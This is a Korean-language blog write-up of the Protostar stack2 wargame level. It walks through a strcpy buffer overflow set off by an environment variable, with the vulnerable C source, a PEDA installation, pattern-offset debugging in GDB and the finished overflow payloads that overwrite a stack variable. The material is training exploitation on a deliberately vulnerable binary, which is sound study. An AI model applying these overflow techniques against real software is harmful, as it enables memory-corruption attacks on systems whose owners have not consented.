Protostar stack - 2 peda 사용

시스템 해킹|2024. 5. 16. 01:20

 

#### Protostar Stack2

##### About
Stack2 looks at environment variables, and how they can be set.
 
This level is at /opt/protostar/bin/stack2

##### Source code
```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}
```

##### Solution
```
$ python
......
>>> import os
>>> envval = 'A'*64 + '\x0a\x0d\x0a\x0d'
>>> os.putenv("GREENIE", envval)
>>> os.system("./stack2")
```

##### Reference

 

stack 2의 소스코드이다.

 

 

 

 

 

 

  variable = getenv("GREENIE");

시스템의 환경변수 이다.

 

마치 윈도우의 환경변수같은느낌

 

  if(variable == NULL) {
      errx(1"please set the GREENIE environment variable\n");

환경변수가 없다면 에러를 나타낸다.

 

환경변수가 잘있다면 modified로 잘 넘어오고 

 


  
strcpy(buffer, variable);

strcpy에서 varable -> buffer로 넘어고있지만 몇바이트인지를 조사하고있지않다

------------------

문제의 요점

결국에는 환경변수를 greenie로 세팅해서 버퍼를 가득메워서 modified로 도달하게하 modified값은

0x0d0a0d0a

이값으로 대체하면된다

 

--------------------------------

 

peda 다운로드

익스플로잇하게 도와주는 프로그램이다.

 

https://github.com/longld/peda

 

GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB

PEDA - Python Exploit Development Assistance for GDB - longld/peda

github.com

 

 

 

 

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

 

peda 설치 명령어

 

 

 

--------------------------

 

 

 gcc -z execstack -w -no-pie -o stack2 stack2.c 

스택2번 컴파일하기

./stack2를 실행할경우 환경변수가 설정되있지않다고 나온다

 

 

 

 

환경 변수를 한번 아무거나 넣어보자

export GREENIE='AAAAA'

그리고 다시실행하게되면 환경변수가 설정되어 단계를 건너 뛴다.

 

 

gdb ./stack2

하게되면 peda와 같이 실행이 가능하다.

 

기존과 gdb만 실행되는것이 아닌 gdb-peda로 바뀌는 것을 확인함.

 

 

 

기존 stack에서는 0x50 -0x4 로해서 값을 구했었는데

 

peda에서는 pattern crate 100 을하면 패턴을 만들 수있다 문자열을 몇번째 떨어져있는지 이해할수있다.

 

pattern crate 100

pattern offset AA2A

 

 

 

이제 우리는 eax의 위치를 파악하기만한다면 총몇바이트를 앞에 필요한지 알수 있으며 필요한것만 세팅할 수 있다

 

export GREENIE='AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

 

패턴 100으로 만든 값을 복사하여 붙여넣는다.

 

 

 



이제는 set disassembly-flavor intel을 안해도된다 기본적으로 intel로 되있다함

b *main+95

이곳 우리가 원하는 곳에 브레이크 포인트를 걸자

 

 

 

 

 

브레이크 포인트를 건 뒤

run

하게되니까 기존 gdb와 다르게 자세한 내용으로 된다 peda와 결합했기떄문

 

 

registers정보와 code stack 까지 함께 학인해준다.

 

eax에 어떤 정보가 들어있을까해서 확인을해본다.

64비트이기때문에 rax로 되있을 뿐이라

info reg $eax

를 해주기만하면된다.

eax값을 구할수있고

 

pattern offset 0x41413341

을 사용하여 몇번째에 있는지 순서를 확인합니다.

 

우리가 구하고자하는 값을 확인했을떄

0x0d0a0d0a

0d0a는 캐리지리턴인데 아스키값으로 엔터이다. 엔터는 커맨드라인에 적용하는게 쉽지가않다

 

export를 사용해서 $(pyethon

 

 

python -c 'print "A"*100'

 

 


export GREENIE=$(python -c 'print "A" * 68 + "\x0a\x0d" *4 ')

 

export GREENIE=$(python -c 'print( "A" * 68 + "\x0a\x0d" *4) ')

 

 

0d0a는 캐리지리턴인데 아스키값으로 엔터이다. 엔터는 커맨드라인에 적용하는게 쉽지가않다

그래서 아래와 같이 팡썬 코드를 작성해서 넣는다

한바이트마다 \ 역슬래시가 들어가야하며

0d0a 를 역순해서 0a0d로한다

그래서 \x0a    \x0d    이것을 4번 작성하는 코드를 작성햇다.

 

 if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");

 

답을 찾았다.

 

 

이제 gdb로 확인을 해보자

 

b *main+95

run

우리가 넣었던 스택의 값들이 잘확인된다

 

우리가 넣었던 A가 68개 반복되고있고 0d0a가 지속적으로 따라오는 것을 확인했다!

 

 

댓글()